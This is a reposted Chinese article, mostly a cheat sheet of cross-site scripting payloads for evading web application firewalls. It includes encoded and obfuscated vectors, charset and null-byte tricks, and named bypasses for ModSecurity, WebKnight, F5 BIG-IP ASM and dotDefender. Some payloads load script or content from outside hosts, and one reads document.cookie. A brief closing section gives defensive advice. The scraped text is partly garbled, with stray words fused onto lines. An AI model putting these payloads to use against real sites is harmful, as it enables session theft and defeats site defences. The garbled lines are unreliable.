【轉】XSS現代WAF規則探測及繞過技術

原文 http://www.cnblogs.com/super-cj/p/3479708.htmljavascript

初始測試php


一、使用無害的payload,相似<b>,<i>,<u>觀察響應,判斷應用程序是否被HTML編碼,是否標籤被過濾,是否過濾<>等等;css

二、若是過濾閉合標籤,嘗試無閉合標籤的payload(<b,<i,<marquee)觀察響應;html

三、嘗試如下的payloadhtml5

<script>alert(1);</script><script>prompt(1);</script><script>confirm      (1);</script><script src="http://rhainfosec.com/evil.js">

判斷是否觸發過濾規則,嘗試使用大小寫混合字符java

<scRiPt>alert(1);</scrIPt>

一、若是大小寫不行的話,<script>被過濾嘗試<scr<script>ipt>alert(1)</scr<script>ipt>;web

二、使用<a>標籤測試express

<a  href=「http://www.google.com">Clickme</a>

    <a被過濾?後端

    href被過濾?瀏覽器

    其餘內容被過濾?

    若是沒有過濾嘗試使用<a href=」javascript:alert(1)」>Clickme</a>

    嘗試使用錯誤的事件查看過濾<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>

    HTML5擁有150個事件處理函數,能夠多嘗試其餘函數<body/onhashchange=alert(1)><a href=#>clickit

測試其餘標籤


    src屬性

    <img src=x      onerror=prompt(1);>
    <img/src=aaa.jpg      onerror=prompt(1);
    <video src=x      onerror=prompt(1);>
    <audio src=x      onerror=prompt(1);>

    iframe

    <iframesrc="javascript:alert(2)">
    <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

    Embed

<embed/src=//goo.gl/nlX0P>

    Action

    <form action="Javascript:alert(1)"><input type=submit>
    <isindex action="javascript:alert(1)" type=image>
    <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
    <isindex action=data:text/html, type=image>

    mario驗證

<formaction=&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;><button>CLICK

    「formaction」屬性

    <isindexformaction="javascript:alert(1)"      type=image>
    <input type="image" formaction=JaVaScript:alert(0)>
    <form><button formaction=javascript&colon;alert(1)>CLICKME

    「background」屬性

<table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6

    「posters」 屬性

<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5

    「data」屬性

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
    <object/data=//goo.gl/nlX0P?

    「code」屬性

  <applet code="javascript:confirm(document.cookie);"> // Firefox Only
    <embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>

      事件處理

    <svg/onload=prompt(1);>
    <marquee/onstart=confirm(2)>/
    <body onload=prompt(1);>
    <select autofocus onfocus=alert(1)>
    <textarea autofocus onfocus=alert(1)>
    <keygen autofocus onfocus=alert(1)>
    <video><source onerror="javascript:alert(1)">

    短payload

    <q/oncut=open()>
    <q/oncut=alert(1)> //      Useful in-case of payload restrictions.

    嵌套欺騙

    <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
    <body  language=vbsonload=alert-1 // Works with IE8
    <command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6    9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>      // Works with IE8

    圓括號被過濾

    <a onmouseover="javascript:window.onerror=alert;throw 1>
    <img src=x onerror="javascript:window.onerror=alert;throw 1">
    <body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x29&#039;;

    Expression 屬性

    <img style="xss:expression(alert(0))"> // Works upto IE7.
    <div style="color:rgb(&#039;&#039;x:expression(alert(1))"></div>      // Works upto IE7.
    <style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7

「location」屬性

    <a onmouseover=location=’javascript:alert(1)>click
    <body onfocus="location=&#039;javascrpt:alert(1) >123

其餘Payload

    <meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
    <meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
    <svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:\u0061lert(1);"></g></svg> //      By @secalert
    <svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href"      values=";javascript:alert(1)" begin="0s"      dur="0.1s" fill="freeze"/> // By Mario
    <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
    <meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
    <math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed

    ();:被過濾

    <svg><script>alert&#40/1/&#41</script>      // Works With All Browsers
    ( is html encoded to &#40
    ) is html encoded to &#41

    Opera的變量

    <svg><script>alert&#40      1&#41 // Works with Opera Only

實體解碼


&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
<a  href="j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>

編碼

JavaScript是很靈活的語言,可使用十六進制、Unicode、HTML等進行編碼,如下屬性能夠被編碼(支持HTML, Octal, Decimal,
Hexadecimal, and Unicode)

href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

基於上下文的過濾


WAF最大的問題是不能理解內容,使用黑名單能夠阻擋獨立的js腳本,但仍不能對xss提供足夠的保護,若是一個反射型的XSS是下面這種形式

輸入反射屬性

<input value="XSStest" type=text>

咱們可使用 「><imgsrc=x  onerror=prompt(0);>觸發,可是若是<>被過濾,咱們仍然可使用「 autofocusonfocus=alert(1)//觸發,基本是使用「 關閉value屬性,再加入咱們的執行腳本

" onmouseover="prompt(0) x="
" onfocusin=alert(1)     autofocus x="
" onfocusout=alert(1)     autofocus x="
" onblur=alert(1) autofocus     a="

輸入反射在<script>標籤內

相似這種狀況:

<script>Var
x=」Input」;</script>

一般,咱們使用「></script>,閉合前面的</script>標籤,然而在這種狀況,咱們也能夠直接輸入執行腳本alert(), prompt()
confirm() ,例如:

「;alert(1)//

很是規事件監聽

DOMfocusin,DOMfocusout,等事件,這些須要特定的事件監聽適當的執行。例如:

";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//

此類事件的列表

DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified

超文本內容

代碼中的狀況以下

<ahref=」Userinput」>Click</a>

可使用javascript:alert(1)//直接執行<a
href=」javascript:alert(1)//」>Click</a>

變形

主要包含大小寫和

JavaScript變形

    javascript&#058;alert(1)
    javaSCRIPT&colon;alert(1)
    JaVaScRipT:alert(1)
    javas&Tab;cript:\u0061lert(1);
    javascript:\u0061lert&#x28;1&#x29
    javascript&#x3A;alert&lpar;document&period;cookie&rpar;      // AsharJaved

IE10如下和URI中可使用VBScript

    vbscript:alert(1);
    vbscript&#058;alert(1);
    vbscr&Tab;ipt:alert(1)"

Data URl

    data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

JSON內容

反射輸入

    encodeURIComponent(&#039;userinput&#039;)

可使用

    -alert(1)-
    -prompt(1)-
    -confirm(1)-

結果

    encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)
    encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)

輸入反射在svg標籤內

源碼以下:

<svg><script>varmyvar=」YourInput」;</script></svg>

能夠輸入

www.site.com/test.php?var=text」;alert(1)//

若是系統編碼了」字符

<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

緣由是引入了附加的(XML)到HTML內容裏,可使用2次編碼處理

瀏覽器BUG


字符集BUG

字符集BUG在IE中很廣泛,最先的bug是UTF-7。若是能控制字符集編碼,咱們能夠繞過99% 的WAF過濾。

示例

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS

能夠控制編碼,提交

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=」><imgsrc=x onerror=prompt(0);>

能夠修改成UTF-32編碼形式

∀㸀㰀script㸀alert(1)㰀/script㸀
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

空字節

    最長用來繞過mod_security防火牆,形式以下:

    <scri%00pt>alert(1);</scri%00pt>
    <scri\x00pt>alert(1);</scri%00pt>
    <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

    空字節只適用於PHP 5.3.8以上的版本

語法BUG

    RFC聲明中節點名稱不能是空格,如下的形式在javascript中不能運行

    <script>alert(1);</script>
    <%0ascript>alert(1);</script>
    <%0bscript>alert(1);</script>

    <%, <//, <!,<?能夠被解析成<,因此可使用如下的payload

    <//     style=x:expression\28write(1)\29> // Works upto IE7

    參考http://html5sec.org/#71

  <!--[if]><script>alert(1)</script     --> // Works upto IE9

    參考http://html5sec.org/#115

    <?xml-stylesheet     type="text/css"?><root     style="x:expression(write(1))"/> // Works in IE7

    參考 http://html5sec.org/#77

   <%div%20style=xss:expression(prompt(1))>     // Works Upto IE7

 

Unicode分隔符

    [on\w+\s*]這個規則過濾了全部on事件,爲了驗證每一個瀏覽器中有效的分隔符,可使用fuzzing方法測試0×00到0xff,結果以下:

    IExplorer=     [0x09,0x0B,0x0C,0x20,0x3B]
    Chrome =     [0x09,0x20,0x28,0x2C,0x3B]
    Safari = [0x2C,0x3B]
    FireFox=     [0x09,0x20,0x28,0x2C,0x3B]
    Opera = [0x09,0x20,0x2C,0x3B]
    Android =     [0x09,0x20,0x28,0x2C,0x3B]
    x0b在Mod_security中已經被過濾,繞過的方法:
    <a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec

缺乏X-frame選項

    一般會認爲X-frame是用來防禦點擊劫持的配置,其實也能夠防禦使用iframe引用的xss漏洞

Docmodes

    IE引入了doc-mode很長時間,提供給老版本瀏覽器的後端兼容性,有風險,攻擊情景是黑客能夠引用你站點的框架,他能夠引入doc-mode執行css表達式

    expression(open(alert(1)))

    如下POC能夠插入到IE7中

    <html>
    <body>
    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
    <iframesrc="https://targetwebsite.com">
    </body>
    </html>

Window.name欺騙

    情景:咱們用iframe加載一個頁面,咱們能夠控制窗口的名稱,這裏也能夠執行javascript代碼

    POC

    <iframesrc=&#039;http://www.target.com?foo="xss  autofocus/AAAAA  onfocus=location=window.name//&#039;
name="javascript:alert("XSS")"></iframe>

DOM型XSS

    服務器不支持過濾DOM型的XSS,由於DOM型XSS老是在客戶端執行,看一個例子:

    <script>
    vari=location.hash;
    document.write(i);
    </script>

    在一些狀況下,反射型XSS能夠轉換成DOM型XSS:

  http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()

    上面的POC只在[.+都被容許的狀況下適用,可使用location.hash注入任何不容許的編碼

        Location.hash[1] = :  // Defined at the first position after     the hash.
        Location.hash[2]= (  // Defined at the second position after     the has
        Location.hash[3] = ) // Defined     at third position after the hash.

若是有客戶端過濾可能不適用

繞過


ModSecurity繞過

    <scri%00pt>confirm(0);</scri%00pt>
    <a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec

    參考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

WEB KNIGHT繞過

    <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
    <marquee/onstart=confirm(2)>

F5 BIG IP ASM and Palo ALTO繞過

    <table background="javascript:alert(1)"></table> //IE6或者低版本Opera
    「/><marquee  onfinish=confirm(123)>a</marquee>

Dot Defender繞過

    <svg/onload=prompt(1);> 
    <isindex action="javas&tab;cript:alert(1)" type=image>
    <marquee/onstart=confirm(2)>

結論


黑名單方式永遠不是最好的解決辦法,可是相對與白名單效率很高,對於WAF供應商來講,最好的實踐以下:

        一、開發者和管理員要注意WAF只能緩解攻擊,而且針對已知的弱點的防禦只是和源代碼修復的方法打個時間差;

        二、要保持WAF的規則庫更新;

        三、WAF能夠配置參數限制,須要提供手冊用於配置參數content-length最大最小長度,content-type類型,在入侵時進行告警;

        四、若是WAF依據黑名單,要確保能夠阻斷已知的瀏覽器BUG,而且相應規則庫要及時更新。

相關文章
相關標籤/搜索